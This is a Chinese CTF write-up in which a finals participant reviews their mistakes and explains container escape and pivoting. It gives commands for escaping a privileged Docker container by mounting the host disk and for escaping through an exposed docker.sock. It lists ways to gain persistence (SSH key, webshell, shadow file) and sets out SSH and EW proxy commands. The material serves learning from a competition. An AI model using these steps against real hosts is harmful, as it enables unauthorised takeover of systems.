CTF 十二月 04, 2019

3CTF总决赛

文章字数 4.7k 阅读约需 4 mins. 阅读次数 0

3CTF总决赛总结

前言:

这次比赛还是收获很多,也很感谢举办方提供的环境和服务,这里给举办方点个赞先。

失误:

第一,成功逃逸docker拿下主机权限后只提交了根目录下的flag,没有在find一下,这个细节确实导致没能取得更好的成绩,这个分段的大部分都没有做到逃逸所以很吃亏。

第二,前期准备资料都在如何打域控,提权,免杀维持权限这一块,没想着第二环节就是docker逃逸,导致于打下服务以后一半时间只能等着排队申请上网机,之前也没有好好看过docker逃逸相关的资料。

第三,意识不足,反应不够快,开局给的中间件漏洞考点,其实不难,kali足够分分解决问题,但在使用msf攻击时总不能反弹会回主机shell,没及时反应可能是打的docker环境,直到给了tips才想着去改脚本手动执行命令,这也导致浪费了上午三个小时的时间,直接导致docker逃逸成功后没有足够的时间来上代理,同时这里也存在一个失误,拿下主机后只想着写webshell,传ew来挂代理再进一步内网渗透,但写webshell的目录一直没找对,都没意识到可以直接写ssh公钥来操作,也是导致没能取得更好成绩的一个失误点,而且根据举办方放出来的tips,内网的下一个目标就是一台redis主从复制漏洞利用,这个明明手上是有exp的,但docker逃逸浪费太多时间,还没来得及进一步攻击就Gameover

学到的姿势:

特权容器逃逸:

特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

说这么多,其实操作起来特别简单:
当时没能截图下来我只能大概说一下

fdisk -l //查看当前机器的磁盘信息 这一步很重要,相当于逃逸前的信息收集
ls /dev 
// 查看当前驱动文件,会发现很多文件,但大多数我们不需要关心,我们仅仅关心上面一个命令执行后说显示的磁盘文件
mkdir abc//准备一个空目录来做挂载
mount /dev/<target> /abc //注意挂载target我们只关心物理磁盘

挂载配置不当时的逃逸情况:

docker.sock进行通信为默认方式,当容器中进程需在生产过程中与Docker守护进程通信时,容器本身需要挂载/var/run/docker.sock文件。

本质上而言,能够访问docker socket 或连接HTTPS API的进程可以执行Docker服务能够运行的任意命令,以root权限运行的Docker服务通常可以访问整个主机系统。

因此,当容器访问docker socket时,我们可通过与docker daemon的通信对其进行恶意操纵完成逃逸。若容器A可以访问docker socket,我们便可在其内部安装client(docker),通过docker.sock与宿主机的server(docker daemon)进行交互,运行并切换至不安全的容器B,最终在容器B中控制宿主机。
具体操作步骤:

apt-get install docker.io //在docker内安装client,必须
docker -H unix:///host/var/run/docker.sock info //可以查看宿主机docker信息
docker -H unix:///host/var/run/docker.sock run -v /:/aa -it ubuntu:14.04 /bin/bash //挂载主机根目录,完成这一步就成功逃逸了 `aa`目录就是就是主机根目录

补充:

完成上述步骤后,我们仅仅完成逃逸的50%,此时只有该主机磁盘的读写权限,这时我们需要想办法来获取shell,比赛时这里吃亏了,因为没经验,意识不够。我总结一下三个思路

  • 往root目录写ssh公钥,这里注意有可能需要改文件权限,第二天师傅们说的,600可以试试
  • 如果主机开着web服务,可以去web服务目录里面写webshell,也要注意执行权限
  • 看看.shadow文件可以不可以操作来改密码

剩下一些利用poc来提权的基本操作性比较简单不在重复,都可以直接弹shell的,对了最近出的CVE-2019-5736,利用runc来实现docker逃逸,是需要主机交互的,当时比赛没法利用,脏牛的poc内核版本不对,也没法打,哈哈所以详细记录一下上面的姿势

关于内网渗透时挂代理:

  • 正向代理(-L):相当于 iptable 的 port forwarding
  • 反向代理(-R):相当于 frp 或者 ngrok
  • socks5 代理(-D):相当于 ss/ssr

可以利用姿势:

// 正向代理
ssh -L 0.0.0.0:PortB:HostC:PortC user@HostC
ssh -L 0.0.0.0:PortA:HostC:PortC  user@HostB

// 反向代理
ssh -R HostC:PortC:HostB:PortB  user@HostC

// 本地 socks5 代理(推荐)
ssh -D localhost:1080  HostB

EW操作ew

unzip ew.zip
file /sbin/init (查看linux位数)
chmod 777 ew_for_Linux32
./ew_for_Linux32 -s ssocksd -l 2333 (侦听0.0.0.0:2333)
netstat -pantu|grep 2333 (查看是否侦听成功)

总结:

第二天看见RedTeam负责人吴鹏老师放出完整网络拓扑图后,不得不说自己还是太菜了.
拓扑图-攻击路径

我仅仅完成入口外部服务区的攻击,整个内网环境都还没看到,听完师傅们讲解思路后确实还是学到很多东西。SSH作用很强大,且基本为Linux系统标配,有辅助提权获取shell的操作,写入公钥可免密登录,-D参数可以挂代理。
docker逃逸基本操作,特权容器可挂载物理磁盘,挂载配置不当,docker. sock逃逸,脏牛vsdo漏洞逃逸,今年最新cve 2019-5376 runc漏洞,但这个漏洞利用需要主机的交互。
最后放一张此次比赛全体师傅们和老师评委的大合影,嘿嘿。
合影

参考:

安全客-Docker逃逸初探
web狗要懂的内网端口转发
SSH 命令的三种代理功能(-L/-R/-D)

0%